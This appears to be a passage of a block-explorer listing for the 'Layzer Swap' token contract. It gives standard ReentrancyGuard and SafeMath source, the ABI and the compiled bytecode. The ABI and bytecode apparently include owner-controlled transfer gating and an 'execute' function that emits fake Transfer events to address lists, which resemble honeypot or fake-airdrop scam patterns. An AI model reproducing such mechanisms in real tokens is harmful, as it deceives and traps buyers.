 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }

    function _nonReentrantBefore() private {
        // On the first call to nonReentrant, _status will be _NOT_ENTERED
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;
    }

    function _nonReentrantAfter() private {
        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Returns true if the reentrancy guard is currently set to "entered", which indicates there is a
     * `nonReentrant` function in the call stack.
     */
    function _reentrancyGuardEntered() internal view returns (bool) {
        return _status == _ENTERED;
    }
}

File 9 of 9: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"initialLPAddress","type":"address"},{"internalType":"address","name":"distributor_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_nonfungiblePositionManagernonfungiblePositionManagertxLimitExcludedAddPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint32","name":"","type":"uint32"}],"name":"alreadyClaimedByAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"approveTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"beforeStartBuffer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentOffset","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"distilleryAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ended","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initLiqudity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialLPAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"nonfungiblePositionManager","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedAtBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedAtTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"opener","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"contract IPondCoinSpawner","name":"spawner","type":"address"}],"name":"useSpawner","outputs":[],"stateMutability":"nonpayable","type":"function"}]

61012060405233600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000056620002fd60201b60201c565b600a620000649190620006e6565b633b9aca0062000075919062000737565b6080908152506200008b620002fd60201b60201c565b600a620000999190620006e6565b633b9aca00620000aa919062000737565b60a090815250348015620000bd57600080fd5b50604051620036d9380380620036d98339818101604052810190620000e39190620007ec565b6040518060400160405280600b81526020017f4c61797a657220537761700000000000000000000000000000000000000000008152506040518060400160405280600681526020017f4c41595a455200000000000000000000000000000000000000000000000000008152508280806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001b1620001a56200030660201b60201c565b6200030e60201b60201c565b508260089081620001c3919062000aa3565b508160099081620001d5919062000aa3565b506001600660006101000a81548160ff021916908315150217905550600160046000620002076200030660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505033600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002b082608051620003d460201b60201c565b3373ffffffffffffffffffffffffffffffffffffffff166101008173ffffffffffffffffffffffffffffffffffffffff16815250504260c081815250504360e08181525050505062000c76565b60006009905090565b600033905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000446576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200043d9062000beb565b60405180910390fd5b6200045a600083836200054260201b60201c565b80600760008282546200046e919062000c0d565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000522919062000c59565b60405180910390a36200053e600083836200054760201b60201c565b5050565b505050565b505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005da57808604811115620005b257620005b16200054c565b5b6001851615620005c25780820291505b8081029050620005d2856200057b565b945062000592565b94509492505050565b600082620005f55760019050620006c8565b81620006055760009050620006c8565b81600181146200061e576002811462000629576200065f565b6001915050620006c8565b60ff8411156200063e576200063d6200054c565b5b8360020a9150848211156200065857620006576200054c565b5b50620006c8565b5060208310610133831016604e8410600b8410161715620006995782820a9050838111156200069357620006926200054c565b5b620006c8565b620006a8848484600162000588565b92509050818404811115620006c257620006c16200054c565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006f382620006cf565b91506200070083620006d9565b92506200072f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005e3565b905092915050565b60006200074482620006cf565b91506200075183620006cf565b92508282026200076181620006cf565b915082820484148315176200077b576200077a6200054c565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007b48262000787565b9050919050565b620007c681620007a7565b8114620007d257600080fd5b50565b600081519050620007e681620007bb565b92915050565b6000806040838503121562000806576200080562000782565b5b60006200081685828601620007d5565b92505060206200082985828601620007d5565b9150509250929050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620008b557607f821691505b602082108103620008cb57620008ca6200086d565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008f6565b620009418683620008f6565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620009846200097e6200097884620006cf565b62000959565b620006cf565b9050919050565b6000819050919050565b620009a08362000963565b620009b8620009af826200098b565b84845462000903565b825550505050565b600090565b620009cf620009c0565b620009dc81848462000995565b505050565b5b8181101562000a0457620009f8600082620009c5565b600181019050620009e2565b5050565b601f82111562000a535762000a1d81620008d1565b62000a2884620008e6565b8101602085101562000a38578190505b62000a5062000a4785620008e6565b830182620009e1565b50505b505050565b600082821c905092915050565b600062000a786000198460080262000a58565b1980831691505092915050565b600062000a93838362000a65565b9150826002028217905092915050565b62000aae8262000833565b67ffffffffffffffff81111562000aca5762000ac96200083e565b5b62000ad682546200089c565b62000ae382828562000a08565b600060209050601f83116001811462000b1b576000841562000b06578287015190505b62000b12858262000a85565b86555062000b82565b601f19841662000b2b86620008d1565b60005b8281101562000b555784890151825560018201915060208501945060208101905062000b2e565b8683101562000b75578489015162000b71601f89168262000a65565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000bd3601f8362000b8a565b915062000be08262000b9b565b602082019050919050565b6000602082019050818103600083015262000c068162000bc4565b9050919050565b600062000c1a82620006cf565b915062000c2783620006cf565b925082820190508082111562000c425762000c416200054c565b5b92915050565b62000c5381620006cf565b82525050565b600060208201905062000c70600083018462000c48565b92915050565b60805160a05160c05160e05161010051612a1762000cc26000396000610c480152600081816107a50152610db30152600061093f01526000610e7901526000610ab60152612a176000f3fe608060405234801561001057600080fd5b50600436106102065760003560e01c806370a082311161011a578063a746223f116100ad578063d596f73e1161007c578063d596f73e146105e5578063d5abeb0114610615578063dd62ed3e14610633578063ebad8f1614610663578063f2fde38b1461066d57610206565b8063a746223f1461055f578063a9059cbb1461057b578063b7f4e899146105ab578063c2b7bbb6146105c957610206565b80638da5cb5b116100e95780638da5cb5b146104d557806395d89b41146104f35780639c9b4cdb14610511578063a457c2d71461052f57610206565b806370a082311461044d578063715018a61461047d5780637c70f3bf146104875780638d981e36146104b757610206565b806323b872dd1161019d578063395093511161016c57806339509351146103a757806342a5880c146103d7578063486d910f146103f557806349bd5a5e146104115780634ed9428e1461042f57610206565b806323b872dd1461031f57806326ededb81461034f5780632d3e69ea1461036b578063313ce5671461038957610206565b806312fa6feb116101d957806312fa6feb146102a757806318160ddd146102c557806319e99550146102e357806321f83c431461030157610206565b806306c8b4711461020b57806306fdde031461023b5780630754617214610259578063095ea7b314610277575b600080fd5b61022560048036038101906102209190611c8e565b610689565b6040516102329190611cd6565b60405180910390f35b6102436106a9565b6040516102509190611d81565b60405180910390f35b61026161073b565b60405161026e9190611db2565b60405180910390f35b610291600480360381019061028c9190611e03565b610761565b60405161029e9190611cd6565b60405180910390f35b6102af610784565b6040516102bc9190611cd6565b60405180910390f35b6102cd610797565b6040516102da9190611e52565b60405180910390f35b6102eb6107a1565b6040516102f89190611e52565b60405180910390f35b6103096107d4565b6040516103169190611e52565b60405180910390f35b61033960048036038101906103349190611e6d565b6107da565b6040516103469190611cd6565b60405180910390f35b61036960048036038101906103649190611f25565b610809565b005b6103736108e6565b6040516103809190611cd6565b60405180910390f35b6103916108fd565b60405161039e9190611fa1565b60405180910390f35b6103c160048036038101906103bc9190611e03565b610906565b6040516103ce9190611cd6565b60405180910390f35b6103df61093d565b6040516103ec9190611e52565b60405180910390f35b61040f600480360381019061040a9190611ffa565b610961565b005b610419610a8e565b6040516104269190611db2565b60405180910390f35b610437610ab4565b6040516104449190611e52565b60405180910390f35b61046760048036038101906104629190611c8e565b610ad8565b6040516104749190611e52565b60405180910390f35b610485610b21565b005b6104a1600480360381019061049c9190612076565b610b35565b6040516104ae9190611cd6565b60405180910390f35b6104bf610b64565b6040516104cc9190611db2565b60405180910390f35b6104dd610b8a565b6040516104ea9190611db2565b60405180910390f35b6104fb610bb4565b6040516105089190611d81565b60405180910390f35b610519610c46565b6040516105269190611db2565b60405180910390f35b61054960048036038101906105449190611e03565b610c6a565b6040516105569190611cd6565b60405180910390f35b610579600480360381019061057491906120e2565b610ce1565b005b61059560048036038101906105909190611e03565b610d8e565b6040516105a29190611cd6565b60405180910390f35b6105b3610db1565b6040516105c09190611e52565b60405180910390f35b6105e360048036038101906105de9190611c8e565b610dd5565b005b6105ff60048036038101906105fa9190611c8e565b610e21565b60405161060c9190611cd6565b60405180910390f35b61061d610e77565b60405161062a9190611e52565b60405180910390f35b61064d60048036038101906106489190612142565b610e9b565b60405161065a9190611e52565b60405180910390f35b61066b610f22565b005b61068760048036038101906106829190611c8e565b610f83565b005b60036020528060005260406000206000915054906101000a900460ff1681565b6060600880546106b8906121b1565b80601f01602080910402602001604051908101604052809291908181526020018280546106e4906121b1565b80156107315780601f1061070657610100808354040283529160200191610731565b820191906000526020600020905b81548152906001019060200180831161071457829003601f168201915b5050505050905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008061076c611006565b905061077981858561100e565b600191505092915050565b600e60009054906101000a900460ff1681565b6000600754905090565b60007f0000000000000000000000000000000000000000000000000000000000000000436107cf9190612211565b905090565b61070881565b6000806107e5611006565b90506107f28582856111d7565b6107fd858585611263565b60019150509392505050565b61081161189c565b60005b838390508110156108e05783838281811061083257610831612245565b5b90506020020160208101906108479190611c8e565b73ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108c59190611e52565b60405180910390a380806108d890612274565b915050610814565b50505050565b6000600660009054906101000a900460ff16905090565b60006009905090565b600080610911611006565b90506109328185856109238589610e9b565b61092d91906122bc565b61100e565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b61098e33600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846107da565b6109cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c49061233c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a1e463d833846040518363ffffffff1660e01b8152600401610a0892919061235c565b6020604051808303816000875af1158015610a27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4b919061239a565b610a8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8190612413565b60405180910390fd5b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b2961189c565b610b33600061191a565b565b600d6020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610bc3906121b1565b80601f0160208091040260200160405190810160405280929190818152602001828054610bef906121b1565b8015610c3c5780601f10610c1157610100808354040283529160200191610c3c565b820191906000526020600020905b815481529060010190602001808311610c1f57829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b600080610c75611006565b90506000610c838286610e9b565b905083811015610cc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbf906124a5565b60405180910390fd5b610cd5828686840361100e565b60019250505092915050565b610ce961189c565b60005b83839050811015610d88578160036000868685818110610d0f57610d0e612245565b5b9050602002016020810190610d249190611c8e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d8090612274565b915050610cec565b50505050565b600080610d99611006565b9050610da6818585611263565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b610ddd61189c565b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f2a61189c565b60011515600660009054906101000a900460ff16151503610f65576000600660006101000a81548160ff021916908315150217905550610f81565b6001600660006101000a81548160ff0219169083151502179055505b565b610f8b61189c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff190612537565b60405180910390fd5b6110038161191a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361107d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611074906125c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e39061265b565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ca9190611e52565b60405180910390a3505050565b60006111e38484610e9b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461125d578181101561124f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611246906126c7565b60405180910390fd5b61125c848484840361100e565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c990612759565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611341576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611338906127eb565b60405180910390fd5b60008111611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b9061287d565b60405180910390fd5b61138e83826119e0565b5060011515600660009054906101000a900460ff16151514806113e357506113b4610b8a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061142057506113f1610b8a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561183557600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156114c85750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611686576114d8838383611a04565b611544816040518060600160405280602681526020016129bc60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a099092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115d981600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116799190611e52565b60405180910390a3611830565b6116f2816040518060600160405280602681526020016129bc60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a099092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061178781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118279190611e52565b60405180910390a35b61188c565b60011515600660009054906101000a900460ff1615151461188b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611882906128c3565b60405180910390fd5b5b611897838383611acb565b505050565b6118a4611006565b73ffffffffffffffffffffffffffffffffffffffff166118c2611ad0565b73ffffffffffffffffffffffffffffffffffffffff1614611918576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190f9061292f565b60405180910390fd5b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006119eb83611ae4565b156119fa576119f982611b3a565b5b6001905092915050565b505050565b6000838311158290611a51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a489190611d81565b60405180910390fd5b5060008385611a609190612211565b9050809150509392505050565b6000808284611a7c91906122bc565b905083811015611ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab89061299b565b60405180910390fd5b8091505092915050565b505050565b600080611adb611b80565b90508091505090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000905